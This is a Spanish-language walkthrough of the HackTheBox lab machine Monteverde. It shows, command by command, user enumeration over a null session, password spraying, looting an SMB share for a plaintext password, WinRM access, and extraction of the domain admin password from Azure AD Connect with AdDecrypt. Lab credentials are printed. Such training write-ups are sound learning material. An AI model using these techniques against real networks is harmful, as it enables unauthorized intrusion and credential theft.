🩸
Gzzcoo HTB Walkthroughs
HomePentest NotesHTB Profile
  • Home
  • ACTIVE DIRECTORY
    • Easy
      • Active
      • Cicada
      • EscapeTwo
      • Fluffy
      • Forest
      • Sauna
      • Support
      • Timelapse
    • Medium
      • Administrator
      • Authority
      • Cascade
      • Certified
      • Escape
      • Hospital
      • Intelligence
      • Jab
      • Manager
      • Monteverde
      • Puppy
      • Querier
      • Resolute
      • Scrambled
      • StreamIO
      • TombWatcher
      • TheFrizz
    • Hard
      • Acute
      • Analysis
      • Blackfield
      • Certificate
      • Haze
      • Mantis
      • Object
      • Reel
      • Scepter
      • Search
      • Vintage
    • Insane
      • DarkCorp
      • Ghost
      • Infiltrator
      • Multimaster
      • Sizzle
  • WINDOWS
    • Easy
      • Blue
      • Devel
      • Grandpa
      • Granny
      • Heist
      • Jerry
      • Netmon
      • Optimum
      • Return
  • LINUX
    • Easy
      • Alert
      • Analytics
      • Antique
      • Armageddon
      • Bank
      • Bashed
      • Bizness
      • Blocky
      • BoardLight
      • BountyHunter
      • Broker
      • Busqueda
      • Cap
      • Chemistry
      • Code
      • Codify
      • CozyHosting
      • Delivery
      • Devvortex
      • Dog
      • Editorial
      • GreenHorn
      • Headless
      • Horizontall
      • Irked
      • Keeper
      • Knife
      • Lame
      • LinkVortex
      • Mirai
      • MonitorsTwo
      • Nibbles
      • Nocturnal
      • Nunchucks
      • OpenAdmin
      • Paper
      • PC
      • PermX
      • Planning
      • Pilgrimage
      • Precious
      • Previse
      • Sau
      • ScriptKiddie
      • Shocker
      • Sightless
      • Squashed
      • Titanic
      • Topology
      • TraceBack
      • TwoMillion
      • UnderPass
      • Usage
      • Valentine
      • Validation
      • Wifinetic
    • Medium
      • Backfire
      • Cat
      • Cypher
      • Heal
      • Instant
      • Trickster
    • Hard
      • Eureka
Con tecnología de GitBook

© 2025 Gzzcoo.

En esta página
  • Reconnaissance
  • Users Enumeration
  • RCP Enumeration
  • ASREPRoast Attack (GetNPUsers.py) - [FAILED]
  • Credential Brute Force - Crackmapexec
  • SMB Enumeration
  • Credential Brute Force - Crackmapexec
  • Shell Over WinRM
  • Privilege Escalation
  • Abusing Azure Admins Group - Obtaining the administrator's password

¿Te fue útil?

Exportar como PDF
  1. ACTIVE DIRECTORY
  2. Medium

Monteverde

AnteriorManagerSiguientePuppy

Última actualización hace 3 meses

¿Te fue útil?

Monteverde es una máquina Windows mediana que cuenta con Azure AD Connect. Se enumera el dominio y se crea una lista de usuarios. A través de la pulverización de contraseñas, se descubre que la cuenta de servicio SABatchJobs tiene el nombre de usuario como contraseña. Con esta cuenta de servicio, es posible enumerar los recursos compartidos de SMB en el sistema y se descubre que el recurso compartido $users es legible para todo el mundo.

Se encuentra un archivo XML utilizado para una cuenta de Azure AD dentro de una carpeta de usuario y contiene una contraseña. Debido a la reutilización de contraseñas, podemos conectarnos al controlador de dominio como mhope mediante WinRM. La enumeración muestra que Azure AD Connect está instalado. Es posible extraer las credenciales de la cuenta que replica los cambios de directorio en Azure (en este caso, el administrador de dominio predeterminado).

Reconnaissance

Proceremos a realizar un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Monteverde.

nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.172 -oG allPorts

Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.

ldapsearch -x -H ldap://10.10.10.172 -s base | grep defaultNamingContext

Procederemos a añadir la entrada en nuestro archivo /etc/hosts

catnp /etc/hosts | grep megabank.local

Users Enumeration

RCP Enumeration

Procederemos a realizar una enumeración utilizando rpcclient conectándonos en una null session y enumerando a los usuarios. Comprobamos que tenemos acceso y procederemos a que a través de expresiones regulares formatear la salida para que solamente nos muestre los nombres de usuario. Guardaremos el contenido en el archivo "users".

rpcclient -U "" 10.10.10.172 -N -c enumdomusers

rpcclient -U "" 10.10.10.172 -N -c enumdomusers | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]' > users

catnp users

ASREPRoast Attack (GetNPUsers.py) - [FAILED]

Teniendo una lista de nombres de usuarios válidos, nos planteamos en realizar un ASREPRoast Attack, pero no obtenemos ningún resultado, debido que ningún usuario tiene el (DONT_REQ_PREAUTH) de Kerberos.

GetNPUsers.py -no-pass -usersfile users megabank.local/ 2>/dev/null

Credential Brute Force - Crackmapexec

Procederemos a realizar un ataque de fuerza bruta utilizando crackmapexec para que valide por SMB si el listado de usuarios que le pasamos, alguno tiene de contraseña el mismo nombre de usuario. Comprobamos que obtenemos que el usuario "SABatchJobs" tiene de contraseña su mismo nombre de usuario.

crackmapexec smb 10.10.10.172 -u users -p users --continue-on-success 2>/dev/null

Comprobaremos con netexec de que se puede acceder al SMB con las credenciales encontradas.

netexec smb 10.10.10.172 -u SABatchJobs -p 'SABatchJobs' 2>/dev/null

Guardaremos las credenciales obtenidas en el archivo "credentials.txt".

catnp credentials.txt

SMB Enumeration

Procederemos a listar todos los recursos compartidos que tenemos acceso con el usuario "SABatchJobs". Comprobamos que tenemos acceso a una serie de recursos.

netexec smb 10.10.10.172 -u SABatchJobs -p 'SABatchJobs' --shares

Procederemos a conectarnos al recurso compartido "users$" y nos descargaremos todo el contenido del recurso.

smbclient //10.10.10.172/users$ -U 'SABatchJobs%SABatchJobs'

Comprobaremos que dentro del recurso compartido había un archivo llamado "azure.xml". Revisando el contenido de dicho archivo, aparece una contraseña en texto plano.

catnp mhope/azure.xml

Credential Brute Force - Crackmapexec

Procederemos a realizar un ataque de fuerza bruta a todo el listado de usuarios que disponemos para verificar si uno de ellos le corresponde la contraseña encontrada en el archivo.xml.

Finalmente comprobamos que el usuario "mhope" su correspondiente credencial es la encontrada.

crackmapexec smb 10.10.10.172 -u users -p '4n0therD4y@n0th3r$' --continue-on-success 2>/dev/null

Guardaremos las nuevas credenciales en "credentials.txt"

catnp credentials.txt

Shell Over WinRM

Probaremos con netexec de probar con el usuario "mhope" y la contraseña encontrada de ver si tiene acceso al WinRM. Comprobamos que nos reporta como Pwn3d. Por lo tanto, nos indica que efectivamente podemos acceder al WinRM con dichas credenciales.

netexec winrm 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$' 2>/dev/null

Probaremos de acceder con evil-winrm y las credenciales que disponemos y comprobamos del acceso y de la flag de user.txt.

evil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$' 2>/dev/null

Privilege Escalation

Abusing Azure Admins Group - Obtaining the administrator's password

Teniendo acceso, comprobaremos de qué tipo de permisos dispone el usuario, en este caso, ninguno que nos pueda servir para realizar un PrivEsc.

Revisando los usuarios a los que pertenece el usuario con el que estamos "mhope" nos percatamos de que forma parte del grupo "Azure Admins", veremos si este grupo nos puede servir para explotarlo.

whoami /priv

net user mhope

Accederemos a la raíz C:\ y comprobaremos dentor de "C:\Program Files" de que existe un directorio llamado "Azure AD Sync". Esto se puede llegar a convertir un vector para poder elevar nuestros privilegios dependiendo de la versión que se ejecute, etc.

cd C:\

cd Progra~1

dir
mv /home/kali/Descargas/AdDecrypt.zip .

unzip AdDecrypt.zip

ls -l

upload /home/kali/Desktop/HackTheBox/Windows/Monteverde/content/AdDecrypt.exe

upload /home/kali/Desktop/HackTheBox/Windows/Monteverde/content/mcrypt.dll

Nos dirigiremos al directorio mencionado y procederemos a ejecutar el "AdDecrypt.exe" que lo disponemos en C:\Windows\Temp y de argumento le pasaremos -FullSQL

Comprobamos que nos muestra la contraseña del usuario "Administrator".

cd "C:\Program Files\Microsoft Azure AD Sync\Bin"

C:\Windows\Temp\AdDecrypt.exe -FullSQL

Probaremos con netexec de validar que el usuario Administrator y las credenciales encontradas se pueden conectar al WinRM. Comprobamos que nos aparece como Pwn3d.

netexec winrm 10.10.10.172 -u Administrator -p 'd0m@in4dminyeah!' 2>/dev/null

Procederemos a conectarnos con evil-winrm al equipo mencionado con las credenciales del usuario Administrator y comprobaremos que ganamos acceso y localizamos la flag de root.txt.

evil-winrm -i 10.10.10.172 -u Administrator -p 'd0m@in4dminyeah!' 2>/dev/null

Buscando sobre exploit sobre "Microsoft Azure AD Sync" hemos encontrado un blog donde explica como intentar explotar dicha vulnerabilidad.

Nos descargaremos el en nuestra Kali, moveremos el contenido a nuestro directorio actual de trabajo, lo descomprimiremos y subiremos el .exe y el .dll al equipo comprometido a través de evil-winrm.

Azure AD Connect Database Exploit PrivEsc
AdDecrypt